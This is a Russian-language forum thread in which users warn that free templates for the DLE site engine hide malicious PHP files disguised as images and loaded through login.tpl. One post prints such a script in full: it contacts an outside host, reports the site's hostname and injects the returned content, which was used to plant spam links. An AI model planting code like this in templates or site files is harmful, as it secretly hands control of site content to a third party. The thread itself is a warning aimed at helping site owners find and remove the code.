Информация Уязвимости в бесплатных шаблонах

[Inviseble_Demon]

Сегодня ковырял фришный шаблон для DLE
Случайно наткнулся на...
\templates\******\images\btn_send.jpg (файл во вложении)
Файл скрытый...
Начал копаться...
login.tpl

Дальше base64_decode не пошол...
Суть и так ясна.
Задумка интересная у него была....
Советую проверить наличие данной гадости

 

[PoMaH]

Да такое есть...
высылает и принимает данные из dlestats.if.ua и запись делает в engine/cache/system/topnews.tmp

Для просмотра скрытого содержимого вы должны войти или зарегистрироваться.

 

[-=ber$erk=-]

Так надо проверить что именно это.
Ведь может быть копирайт шаблона, а не
Надо проверять.

недавно у себя на одном сайте обнаружил левые ссылки, 4 шт.
долго ковырял шаблон на предмет ссылок, не было их
но был скрипт с расширением графического файла который подгружался в login.tpl
вот с таким содержимым

<?php  
$sock = @fsockopen("www.erorhost.ru", 80, $errstr, $errno, 30); 
if ($sock){  
    $headers = "GET /sait/id2.php?site=".$_SERVER['HTTP_HOST']." HTTP/1.1\n"; 
    $headers .= "Host: www.erorhost.ru\n";  
    $headers .= "Accept: text/html, text/plain, text/sgml, */*;q=0.01 Accept-Encoding: gzip, compress  Accept-Language: ru,en Accept-Charset: windows-1251, iso-8859-1;q=0.01, us-ascii;q=0.01\n\n";  
     
    fwrite($sock, $headers); 
    $x10 = false; 
     
    while (!feof($sock)) { 
        $x11=fgets($sock,128); 
        if ($x10)  
            $result .= $x11; 
        else  
            $x13 .= $x11; 
             
        if ($x11 == "\r\n" )  
            $x10 = true; 
    } 
    fclose($sock); 
} 
else return $error; 
if (strstr($x13,'404')) return $error; 
else return $result;  
?>

у всех сайтов доноров был тИЦ от двухсот
вот такой вот маленький сапозаводик

 

[Demon425]

А чё париться? удали кусок кода, посмотри всё работает да и всё)

По поводу фри - их нужно всегда пересматривать!